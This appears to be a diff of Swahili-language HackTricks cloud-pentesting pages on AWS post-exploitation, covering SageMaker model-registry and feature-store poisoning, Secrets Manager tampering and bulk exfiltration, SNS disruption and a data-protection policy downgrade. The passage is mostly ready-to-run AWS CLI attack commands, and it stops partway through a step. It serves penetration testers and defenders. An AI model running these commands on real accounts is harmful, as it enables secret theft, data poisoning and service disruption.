+aws sagemaker create-model-package --region $REGION   --model-package-group-name $MPG   --model-approval-status Approved   --inference-specification file:///tmp/inf.json
+```
+4) Thibitisha kuwa toleo jipya lililokubaliwa lipo
+```bash
+aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
+```
+### Athari
+- Poison the Model Registry kwa toleo la Approved linalorejelea attacker-controlled code. Pipelines ambazo hu-auto-deploy Approved models zinaweza kuvuta na kuendesha attacker image, zikisababisha utekelezaji wa code chini ya endpoint/training roles.
+- Kwa ModelPackageGroup resource policy yenye ruhusa pana (PutModelPackageGroupPolicy), matumizi mabaya haya yanaweza kuchochewa cross-account.
+
+## Feature store poisoning
+
+Abuse `sagemaker:PutRecord` kwenye Feature Group yenye OnlineStore imewezeshwa ili kuandika upya live feature values zinazotumiwa na online inference. Ikiwa ikichanganywa na `sagemaker:GetRecord`, attacker anaweza kusoma sensitive features. Hii haitaji access kwa models au endpoints.
+
+{{#ref}}
+feature-store-poisoning.md
+{{/ref}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md

@@ -0,0 +1,50 @@
+# SageMaker Feature Store online store poisoning
+
+Tumia vibaya `sagemaker:PutRecord` kwenye Feature Group iliyowezeshwa OnlineStore ili kuandika upya thamani za vipengele zinazotumika moja kwa moja na online inference. Ikiwa imeunganishwa na `sagemaker:GetRecord`, mshambuliaji anaweza kusoma vipengele nyeti. Hii haihitaji ufikiaji wa models au endpoints.
+
+## Mahitaji
+- Ruhusa: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
+- Lengo: Feature Group iliyowezeshwa OnlineStore (kawaida ikiwa nyuma ya inference ya wakati halisi)
+
+## Hatua
+1) Chagua au unda Feature Group ndogo ya Online kwa ajili ya majaribio
+```bash
+REGION=${REGION:-us-east-1}
+FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
+if [ -z "$FG" -o "$FG" = "None" ]; then
+ACC=$(aws sts get-caller-identity --query Account --output text)
+FG=ht-fg-$ACC-$(date +%s)
+ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)
+aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN"
+echo "Waiting for feature group to be in Created state..."
+for i in $(seq 1 40); do
+ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
+echo $ST; [ "$ST" = "Created" ] && break; sleep 15
+done
+fi
+```
+2) Ingiza/andika upya rekodi mtandaoni (poison)
+```bash
+NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
+cat > /tmp/put.json << JSON
+{
+"FeatureGroupName": "$FG",
+"Record": [
+{"FeatureName": "entity_id", "ValueAsString": "user-123"},
+{"FeatureName": "event_time", "ValueAsString": "$NOW"},
+{"FeatureName": "risk_score", "ValueAsString": "0.99"}
+],
+"TargetStores": ["OnlineStore"]
+}
+JSON
+aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json
+```
+3) Soma rekodi tena ili kuthibitisha mabadiliko
+```bash
+aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString"
+```
+Inatarajiwa: risk_score irudie 0.99 (attacker-set), ikithibitisha uwezo wa kubadilisha vipengele vya mtandaoni vinavyotumika na models.
+
+## Athari
+- Shambulio la uadilifu la wakati halisi: badilisha vipengele vinavyotumika na models za uzalishaji bila kugusa endpoints/models.
+- Hatari ya usiri: soma vipengele nyeti kupitia GetRecord kutoka OnlineStore.

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md

@@ -1,130 +0,0 @@
-# AWS - Secrets Manager Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Secrets Manager
-
-For more information check:
-
-{{#ref}}
-../aws-services/aws-secrets-manager-enum.md
-{{#endref}}
-
-### Soma Siri
-
-The **Siri zenyewe ni taarifa nyeti**, [angalia ukurasa wa privesc](../aws-privilege-escalation/aws-secrets-manager-privesc.md) ili ujifunze jinsi ya kuzisoma.
-
-### DoS Badilisha Thamani ya Siri
-
-Changing the value of the secret you could **DoS all the system that depends on that value.**
-
-> [!WARNING]
-> Kumbuka kuwa thamani za awali pia zinahifadhiwa, hivyo ni rahisi tu kurudi kwenye thamani ya awali.
-```bash
-# Requires permission secretsmanager:PutSecretValue
-aws secretsmanager put-secret-value \
---secret-id MyTestSecret \
---secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
-```
-### DoS Change KMS key
-
-Ikiwa attacker ana ruhusa secretsmanager:UpdateSecret, wanaweza kusanidi secret itumie KMS key inayomilikiwa na attacker. KMS key hiyo awali imewekwa kwa namna kwamba mtu yeyote anaweza kuipata na kuitumia, hivyo kusasisha secret kwa key mpya kunawezekana. Ikiwa key haikutambulika/haikutumika, secret haiwezi kusasishwa.
-
-Baada ya kubadilisha key ya secret, attacker hubadilisha usanidi wa key yao ili ni wao pekee waweze kuifikia. Kwa njia hiyo, katika matoleo yanayofuata ya secret, itafungwa kwa key mpya, na kwa kuwa hakuna ufikiaji wa key hiyo, uwezo wa kupata secret utapotea.
-
-Ni muhimu kutambua kuwa ukosefu huu wa ufikaji utaonekana tu katika matoleo ya baadaye, baada ya yaliyomo kwenye secret kubadilika, kwani toleo la sasa bado limefungwa kwa KMS key ya awali.
-```bash
-aws secretsmanager update-secret \
---secret-id MyTestSecret \
---kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
-```
-### DoS Deleting Secret
-
-Idadi ndogo kabisa ya siku za kufuta secret ni 7
-```bash
-aws secretsmanager delete-secret \
---secret-id MyTestSecret \
---recovery-window-in-days 7
-```
-## secretsmanager:RestoreSecret
-
-Inawezekana kurejesha secret, jambo linaloruhusu urejeshaji wa siri ambazo zimepangwa kufutwa, kwa sababu kipindi cha chini cha kufutwa kwa siri ni siku 7 na kipindi cha juu ni siku 30. Pamoja na ruhusa secretsmanager:GetSecretValue, hili linafanya iwezekane kupata yaliyomo yao.
-
-Ili kurejesha siri ambayo iko mchakato wa kufutwa, unaweza kutumia amri ifuatayo:
-```bash
-aws secretsmanager restore-secret \
---secret-id <Secret_Name>
-```
-## secretsmanager:DeleteResourcePolicy
-
-Kitendo hiki kinaruhusu kufuta resource policy inayodhibiti nani anaweza kupata secret. Hii inaweza kusababisha DoS ikiwa resource policy ilikuwa imewekwa ili kuruhusu ufikiaji kwa kundi maalum la watumiaji.
-
-Ili kufuta resource policy:
-```bash
-aws secretsmanager delete-resource-policy \
---secret-id <Secret_Name>
-```
-## secretsmanager:UpdateSecretVersionStage
-
-Hali za secret zinatumika kusimamia matoleo ya secret. AWSCURRENT inaashiria toleo linalotumika na programu, AWSPREVIOUS huhifadhi toleo la awali ili uweze kurudi nyuma ikiwa ni lazima, na AWSPENDING inatumiwa katika mchakato wa mzunguko kutayarisha na kuthibitisha toleo jipya kabla ya kulifanya kuwa la sasa.
-
-Programu daima husoma toleo lenye lebo AWSCURRENT. Ikiwa mtu atahamisha lebo hiyo kwa toleo lisilo sahihi, programu zitaitumia kredenshali batili na zinaweza kushindwa.
-
-AWSPREVIOUS haitumiki kiotomatiki. Hata hivyo, ikiwa AWSCURRENT itaondolewa au itapangwa tena kwa njia isiyofaa, kunaweza kuonekana kuwa kila kitu bado kinaendelea kwa toleo la awali.
-```bash
-aws secretsmanager update-secret-version-stage \
---secret-id <your-secret-name-or-arn> \
---version-stage AWSCURRENT \
---move-to-version-id <target-version-id> \
---remove-from-version-id <previous-version-id>
-```
-{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
-
-### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)
-
-Tumia kwa mbaya Secrets Manager BatchGetSecretValue API ili kupata hadi siri 20 kwa ombi moja. Hii inaweza kupunguza kwa kiasi kikubwa idadi ya API-call ikilinganishwa na kurudia GetSecretValue kwa kila siri. Kama filters zinatumika (tags/name), ruhusa ya ListSecrets pia inahitajika. CloudTrail bado inarekodi tukio la GetSecretValue moja kwa kila siri inayopatikana kwenye batch.
-
-Required permissions
-- secretsmanager:BatchGetSecretValue
-- secretsmanager:GetSecretValue kwa kila siri lengwa
-- secretsmanager:ListSecrets ikiwa unatumia --filters
-- kms:Decrypt kwenye CMKs zinazotumika na siri (ikiwa huna kutumia aws/secretsmanager)
-
-> [!WARNING]
-> Kumbuka kwamba ruhusa `secretsmanager:BatchGetSecretValue` haitoshi peke yake ili kupata siri; pia unahitaji `secretsmanager:GetSecretValue` kwa kila siri unayotaka kupata.
-
-Exfiltrate by explicit list
-```bash
-aws secretsmanager batch-get-secret-value \
---secret-id-list <secret1> <secret2> <secret3> \
---query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
-```
-Exfiltrate kwa vichujio (funguo/thamani ya tag au kiambatisho cha jina)
-```bash
-# By tag key
-aws secretsmanager batch-get-secret-value \
---filters Key=tag-key,Values=env \
---max-results 20 \
---query 'SecretValues[].{Name:Name,Val:SecretString}'
-
-# By tag value
-aws secretsmanager batch-get-secret-value \
---filters Key=tag-value,Values=prod \
---max-results 20
-
-# By name prefix
-aws secretsmanager batch-get-secret-value \
---filters Key=name,Values=MyApp
-```
-Kushughulikia kushindwa kwa sehemu
-```bash
-# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
-aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
-```
-Athari
-- Haraka “smash-and-grab” ya siri nyingi kwa API calls chache, ikiwezekana ikiepuka onyo zilizowekwa kugundua mwinuko wa GetSecretValue.
-- CloudTrail logs bado zinajumuisha tukio moja la GetSecretValue kwa kila siri iliyopatikana na batch.

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md

@@ -0,0 +1,130 @@
+# AWS - Secrets Manager Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Secrets Manager
+
+Kwa maelezo zaidi angalia:
+
+{{#ref}}
+../../aws-services/aws-secrets-manager-enum.md
+{{#endref}}
+
+### Soma Secrets
+
+**secrets wenyewe ni taarifa nyeti**, [angalia ukurasa wa privesc](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) ili ujifunze jinsi ya kuvisoma.
+
+### DoS Badilisha Thamani ya Secret
+
+Kubadilisha thamani ya secret kunaweza **kusababisha DoS kwa mifumo yote inayotegemea thamani hiyo.**
+
+> [!WARNING]
+> Kumbuka kwamba thamani za awali pia zinahifadhiwa, hivyo ni rahisi kurudi kwenye thamani ya awali.
+```bash
+# Requires permission secretsmanager:PutSecretValue
+aws secretsmanager put-secret-value \
+--secret-id MyTestSecret \
+--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
+```
+### DoS Badilisha ufunguo wa KMS
+
+Ikiwa mshambuliaji ana ruhusa secretsmanager:UpdateSecret, anaweza kusanidi siri ili itumie KMS key inayomilikiwa na mshambuliaji. Ufunguo huo kwa awali umewekwa kwa njia ambayo yeyote anaweza kuupata na kuutumia, hivyo kusasisha siri kwa ufunguo mpya kunawezekana. Ikiwa ufunguo haukupatikana, siri haingeweza kusasishwa.
+
+Baada ya kubadilisha ufunguo wa siri, mshambuliaji anabadilisha usanidi wa ufunguo wake ili wao pekee waweze kuupata. Kwa hivyo, katika matoleo yajayo ya siri, yatakuwa yamefungwa kwa ufunguo mpya, na kwa kuwa hakuna mtu anayeweza kuufikia, uwezo wa kupata siri utapotea.
+
+Ni muhimu kutambua kuwa ukosefu huu wa upatikanaji utatokea tu katika matoleo ya baadaye, baada ya yaliyomo kwenye siri kubadilika, kwa sababu toleo la sasa bado limefichwa kwa KMS key ya awali.
+```bash
+aws secretsmanager update-secret \
+--secret-id MyTestSecret \
+--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
+```
+### DoS Deleting Secret
+
+Idadi ya chini ya siku za kufuta secret ni 7
+```bash
+aws secretsmanager delete-secret \
+--secret-id MyTestSecret \
+--recovery-window-in-days 7
+```
+## secretsmanager:RestoreSecret
+
+Inawezekana kurejesha secret, jambo linalowezesha urejeshaji wa secrets zilizopangwa kufutwa, kwa kuwa kipindi kidogo cha kufuta secrets ni siku 7 na cha juu ni siku 30. Pamoja na ruhusa secretsmanager:GetSecretValue, hili linafanya iwezekane kupata maudhui yao.
+
+Ili kurejesha secret ambayo iko katika mchakato wa kufutwa, unaweza kutumia amri ifuatayo:
+```bash
+aws secretsmanager restore-secret \
+--secret-id <Secret_Name>
+```
+## secretsmanager:DeleteResourcePolicy
+
+Kitendo hiki kinaruhusu kufuta resource policy inayodhibiti nani anaweza kufikia secret. Hii inaweza kusababisha DoS ikiwa resource policy ilikuwa imewekwa kuruhusu upatikanaji kwa kundi maalum la watumiaji.
+
+Ili kufuta resource policy:
+```bash
+aws secretsmanager delete-resource-policy \
+--secret-id <Secret_Name>
+```
+## secretsmanager:UpdateSecretVersionStage
+
+Hali za siri hutumika kusimamia matoleo ya siri. AWSCURRENT inaonyesha toleo la sasa ambalo programu zinazitumia, AWSPREVIOUS huhifadhi toleo lililopita ili uweze kurudi nyuma ikiwa ni lazima, na AWSPENDING hutumika katika mchakato wa mzunguko kuandaa na kuthibitisha toleo jipya kabla ya kulifanya kuwa toleo la sasa.
+
+Programu daima husoma toleo lenye AWSCURRENT. Ikiwa mtu atahamisha lebo hiyo kwa toleo lisilo sahihi, programu zitatumia vitambulisho batili na zinaweza kushindwa.
+
+AWSPREVIOUS haitumiki kiotomatiki. Hata hivyo, ikiwa AWSCURRENT itaondolewa au itapangiwa upya kwa njia isiyo sahihi, inaweza kuonekana kwamba kila kitu bado kinaendelea kwa toleo lililopita.
+```bash
+aws secretsmanager update-secret-version-stage \
+--secret-id <your-secret-name-or-arn> \
+--version-stage AWSCURRENT \
+--move-to-version-id <target-version-id> \
+--remove-from-version-id <previous-version-id>
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+
+### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)
+
+Tumia vibaya Secrets Manager BatchGetSecretValue API ili kupata hadi 20 secrets kwa ombi moja. Hii inaweza kupunguza kwa kiasi kikubwa idadi ya API-call ikilinganishwa na kurudia GetSecretValue kwa kila secret. Ikiwa vichujio (tags/name) vinatumika, ruhusa ya ListSecrets pia inahitajika. CloudTrail bado inarekodi tukio moja la GetSecretValue kwa kila secret iliyopewa kwenye batch.
+
+Required permissions
+- secretsmanager:BatchGetSecretValue
+- secretsmanager:GetSecretValue for each target secret
+- secretsmanager:ListSecrets if using --filters
+- kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)
+
+> [!WARNING]
+> Kumbuka kwamba ruhusa `secretsmanager:BatchGetSecretValue` peke yake haitoshi kupata secrets; pia unahitaji `secretsmanager:GetSecretValue` kwa kila secret unayotaka kupata.
+
+Exfiltrate by explicit list
+```bash
+aws secretsmanager batch-get-secret-value \
+--secret-id-list <secret1> <secret2> <secret3> \
+--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
+```
+Exfiltrate kwa kutumia filters (tag key/value au name prefix)
+```bash
+# By tag key
+aws secretsmanager batch-get-secret-value \
+--filters Key=tag-key,Values=env \
+--max-results 20 \
+--query 'SecretValues[].{Name:Name,Val:SecretString}'
+
+# By tag value
+aws secretsmanager batch-get-secret-value \
+--filters Key=tag-value,Values=prod \
+--max-results 20
+
+# By name prefix
+aws secretsmanager batch-get-secret-value \
+--filters Key=name,Values=MyApp
+```
+Kushughulikia kushindwa kwa sehemu
+```bash
+# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
+aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
+```
+Athari
+- Haraka “smash-and-grab” ya siri nyingi kwa maombi machache ya API, ambayo inaweza kuiepuka mfumo wa onyo uliolenga mionekano ya ghafla ya GetSecretValue.
+- Rejista za CloudTrail bado zinajumuisha tukio moja la GetSecretValue kwa kila siri iliyopatikana katika kundi.

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md

@@ -1,13 +1,13 @@
 # AWS - SES Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## SES
 
-Kwa maelezo zaidi angalia:
+Kwa taarifa zaidi angalia:
 
 {{#ref}}
-../aws-services/aws-ses-enum.md
+../../aws-services/aws-ses-enum.md
 {{#endref}}
 
 ### `ses:SendEmail`
@@ -17,7 +17,7 @@ Tuma barua pepe.
 aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
 aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
 ```
-Bado kupima.
+Bado haijajaribiwa.
 
 ### `ses:SendRawEmail`
 
@@ -25,45 +25,45 @@ Tuma barua pepe.
 ```bash
 aws ses send-raw-email --raw-message file://message.json
 ```
-Bado kujaribu.
+Bado haijajaribiwa.
 
 ### `ses:SendTemplatedEmail`
 
-Tuma barua pepe kulingana na kigezo.
+Tuma barua pepe kwa kutumia kiolezo.
 ```bash
 aws ses  send-templated-email --source <value> --destination <value> --template <value>
 ```
-Bado kujaribu.
+Bado inahitaji kujaribiwa.
 
 ### `ses:SendBulkTemplatedEmail`
 
-Tuma barua pepe kwa maeneo mengi
+Tuma barua pepe kwa anwani nyingi
 ```bash
 aws ses send-bulk-templated-email --source <value> --template <value>
 ```
-Bado kujaribu.
+Bado haijajaribiwa.
 
 ### `ses:SendBulkEmail`
 
-Tuma barua pepe kwa maeneo mengi.
+Tuma barua pepe kwa wapokeaji wengi.
 ```
 aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
 ```
 ### `ses:SendBounce`
 
-Tuma **barua pepe ya kurudi** juu ya barua pepe iliyopokelewa (ikiashiria kwamba barua pepe haikuweza kupokelewa). Hii inaweza kufanywa **hadi masaa 24 baada ya kupokea** barua pepe.
+Tuma **bounce email** juu ya barua pepe uliopokea (ikionyesha kwamba barua pepe haikuweza kupokelewa). Hii inaweza kufanywa tu **hadi saa 24 baada ya kupokea** barua pepe.
 ```bash
 aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
 ```
-Bado kujaribu.
+Bado haijajaribiwa.
 
 ### `ses:SendCustomVerificationEmail`
 
-Hii itatuma barua pepe ya uthibitisho iliyobinafsishwa. Unaweza kuhitaji ruhusa pia kuunda barua pepe ya kiolezo.
+Hii itatuma barua pepe ya uthibitisho iliyobinafsishwa. Huenda ukahitaji ruhusa pia za kuunda barua pepe ya kiolezo.
 ```bash
 aws ses send-custom-verification-email --email-address <value> --template-name <value>
 aws sesv2 send-custom-verification-email --email-address <value> --template-name <value>
 ```
-Bado kujaribu.
+Bado haijajaribiwa.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md

@@ -1,68 +0,0 @@
-# AWS - SNS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SNS
-
-Kwa maelezo zaidi:
-
-{{#ref}}
-../aws-services/aws-sns-enum.md
-{{#endref}}
-
-### Disrupt Messages
-
-Katika kesi kadhaa, mada za SNS zinatumika kutuma ujumbe kwa majukwaa yanayofuatiliwa (barua pepe, ujumbe wa slack...). Ikiwa mshambuliaji atazuia kutumwa kwa ujumbe wanaoashiria uwepo wake katika wingu, anaweza kubaki bila kugundulika.
-
-### `sns:DeleteTopic`
-
-Mshambuliaji anaweza kufuta mada nzima ya SNS, na kusababisha kupotea kwa ujumbe na kuathiri programu zinazotegemea mada hiyo.
-```bash
-aws sns delete-topic --topic-arn <value>
-```
-**Madhara Yanayoweza Kutokea**: Kupotea kwa ujumbe na usumbufu wa huduma kwa programu zinazotumia mada iliyofutwa.
-
-### `sns:Publish`
-
-Mshambuliaji anaweza kutuma ujumbe mbaya au usiotakikana kwa mada ya SNS, ambayo inaweza kusababisha uharibifu wa data, kuanzisha vitendo visivyokusudiwa, au kutumia rasilimali.
-```bash
-aws sns publish --topic-arn <value> --message <value>
-```
-**Madhara Yanayoweza Kutokea**: Uharibifu wa data, vitendo visivyokusudiwa, au matumizi mabaya ya rasilimali.
-
-### `sns:SetTopicAttributes`
-
-Mshambuliaji anaweza kubadilisha sifa za mada ya SNS, ambayo inaweza kuathiri utendaji wake, usalama, au upatikanaji.
-```bash
-aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
-```
-**Madhara Yanayoweza Kutokea**: Makosa ya usanidi yanayosababisha kupungua kwa utendaji, matatizo ya usalama, au kupungua kwa upatikanaji.
-
-### `sns:Subscribe` , `sns:Unsubscribe`
-
-Mshambuliaji anaweza kujiandikisha au kujiondoa kwenye mada ya SNS, na hivyo kupata ufikiaji usioidhinishwa wa ujumbe au kuharibu utendaji wa kawaida wa programu zinazotegemea mada hiyo.
-```bash
-aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
-aws sns unsubscribe --subscription-arn <value>
-```
-**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa wa ujumbe, usumbufu wa huduma kwa programu zinazotegemea mada iliyoathiriwa.
-
-### `sns:AddPermission` , `sns:RemovePermission`
-
-Mshambuliaji anaweza kuwapa watumiaji au huduma zisizoidhinishwa ufikiaji wa mada ya SNS, au kubatilisha ruhusa za watumiaji halali, na kusababisha usumbufu katika utendaji wa kawaida wa programu zinazotegemea mada hiyo.
-```css
-aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
-aws sns remove-permission --topic-arn <value> --label <value>
-```
-**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa wa mada, kufichuliwa kwa ujumbe, au upotoshaji wa mada na watumiaji au huduma zisizoidhinishwa, kuingilia kati kwa utendaji wa kawaida wa programu zinazotegemea mada hiyo.
-
-### `sns:TagResource`, `sns:UntagResource`
-
-Mshambuliaji anaweza kuongeza, kubadilisha, au kuondoa lebo kutoka kwa rasilimali za SNS, kuingilia kati mgawanyo wa gharama wa shirika lako, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji kulingana na lebo.
-```bash
-aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
-aws sns untag-resource --resource-arn <value> --tag-keys <key>
-```
-**Madhara Yanayoweza Kutokea**: Kuingiliwa kwa ugawaji wa gharama, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji kulingana na lebo. 
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md

@@ -0,0 +1,82 @@
+# AWS - SNS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SNS
+
+Kwa taarifa zaidi:
+
+{{#ref}}
+../../aws-services/aws-sns-enum.md
+{{#endref}}
+
+### Kuvuruga Ujumbe
+
+Katika kesi nyingi, SNS topics hutumiwa kutuma ujumbe kwa majukwaa yanayosimamiwa (barua pepe, slack messages...). Ikiwa mshambuliaji atazuia kutumwa kwa ujumbe unaotoa tahadhari kuhusu uwepo wake kwenye wingu, anaweza kubaki bila kugunduliwa.
+
+### `sns:DeleteTopic`
+
+Mshambuliaji anaweza kufuta topic nzima ya SNS, kusababisha kupoteza ujumbe na kuathiri maombi yanayotegemea topic hiyo.
+```bash
+aws sns delete-topic --topic-arn <value>
+```
+**Athari Inayowezekana**: Kupoteza ujumbe na kuvurugika kwa huduma kwa programu zinazotumia topic iliyofutwa.
+
+### `sns:Publish`
+
+Mshambuliaji anaweza kutuma jumbe zenye madhara au zisizohitajika kwenye SNS topic, ambazo zinaweza kusababisha uharibifu wa data, kuanzisha vitendo visivyokusudiwa, au kuchosha rasilimali.
+```bash
+aws sns publish --topic-arn <value> --message <value>
+```
+**Athari Inayoweza Kutokea**: Uharibifu wa data, vitendo visivyokusudiwa, au matumizi kupita kiasi ya rasilimali.
+
+### `sns:SetTopicAttributes`
+
+Mshambuliaji anaweza kubadilisha sifa za SNS topic, jambo ambalo linaweza kuathiri utendaji wake, usalama, au upatikanaji wake.
+```bash
+aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
+```
+**Athari Inayoweza Kutokea**: Mipangilio isiyofaa inaweza kusababisha utendaji uliopungua, matatizo ya usalama, au upatikanaji uliopunguzwa.
+
+### `sns:Subscribe` , `sns:Unsubscribe`
+
+Mshambuliaji anaweza kujiandikisha au kuondoa usajili kwenye mada ya SNS, kwa uwezekano kupata ufikiaji usioidhinishwa wa ujumbe au kuharibu utendaji wa kawaida wa programu zinazotegemea mada hiyo.
+```bash
+aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
+aws sns unsubscribe --subscription-arn <value>
+```
+**Athari Inayoweza Kutokea**: Ufikiaji usioidhinishwa wa ujumbe, kuvurugika kwa huduma kwa programu zinazotegemea topic iliyohusika.
+
+### `sns:AddPermission` , `sns:RemovePermission`
+
+Mshambuliaji anaweza kuwapa watumiaji au huduma zisizoidhinishwa ufikiaji wa SNS topic, au kuondoa ruhusa kwa watumiaji halali, kusababisha kuvurugika kwa utendaji wa kawaida wa programu zinazotegemea topic hiyo.
+```bash
+aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
+aws sns remove-permission --topic-arn <value> --label <value>
+```
+**Athari Inayoweza Kutokea**: Ufikiaji usioidhinishwa wa topic, kufichuliwa kwa ujumbe, au uendeshaji/mabadiliko ya topic na watumiaji au huduma zisizoidhinishwa, na kuingiliwa kwa utendakazi wa kawaida kwa programu zinazotegemea topic.
+
+### `sns:TagResource` , `sns:UntagResource`
+
+Mshambuliaji anaweza kuongeza, kubadilisha, au kuondoa tags kutoka kwa rasilimali za SNS, na hivyo kuathiri ugawaji wa gharama wa shirika lako, ufuatiliaji wa rasilimali, na sera za udhibiti wa upatikanaji zinazoegemea tags.
+```bash
+aws sns tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
+aws sns untag-resource --resource-arn <value> --tag-keys <key>
+```
+**Athari Inayoweza Kutokea**: Kusababisha kuvurugika kwa ugawaji wa gharama, ufuatiliaji wa rasilimali, na tag-based access control policies.
+
+### Zaidi ya SNS Post-Exploitation Techniques
+
+{{#ref}}
+aws-sns-data-protection-bypass.md
+{{#endref}}
+
+{{#ref}}
+aws-sns-fifo-replay-exfil.md
+{{#endref}}
+
+{{#ref}}
+aws-sns-firehose-exfil.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md

@@ -0,0 +1,92 @@
+# AWS - SNS Kupitwa kwa Message Data Protection kupitia Policy Downgrade
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Ikiwa una `sns:PutDataProtectionPolicy` kwenye topic, unaweza kubadilisha sera yake ya Message Data Protection kutoka Deidentify/Deny kwenda Audit-only (au kuondoa Outbound controls) ili thamani zilizo nyeti (kwa mfano, nambari za kadi za mkopo) zitolewe kwa subscription yako bila mabadiliko.
+
+## Mahitaji
+- Ruhusa kwenye topic lengwa ya kuita `sns:PutDataProtectionPolicy` (na kawaida `sns:Subscribe` ikiwa unataka kupokea data).
+- Standard SNS topic (Message Data Protection supported).
+
+## Hatua za Shambulio
+
+- Vigezo
+
+```bash
+REGION=us-east-1
+```
+
+1) Tengeneza topic ya kawaida na attacker SQS queue, na ruhusu topic hii pekee kutuma kwenye queue
+
+```bash
+TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text)
+Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text)
+Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes Policy=Version:2012-10-17
+```
+
+2) Ambatisha sera ya data protection inayoficha nambari za kadi za mkopo kwenye ujumbe unaotoka
+
+```bash
+cat > /tmp/ht-dlp-policy.json <<'JSON'
+{
+"Name": "__ht_dlp_policy",
+"Version": "2021-06-01",
+"Statement": [{
+"Sid": "MaskCCOutbound",
+"Principal": ["*"],
+"DataDirection": "Outbound",
+"DataIdentifier": ["arn:aws:dataprotection::aws:data-identifier/CreditCardNumber"],
+"Operation": { "Deidentify": { "MaskConfig": { "MaskWithCharacter": "#" } } }
+}]
+}
+JSON
+aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-policy.json)"
+```
+
+3) Subscribe attacker queue na chapisha ujumbe wenye nambari ya CC ya majaribio, thibitisha kufichwa
+
+```bash
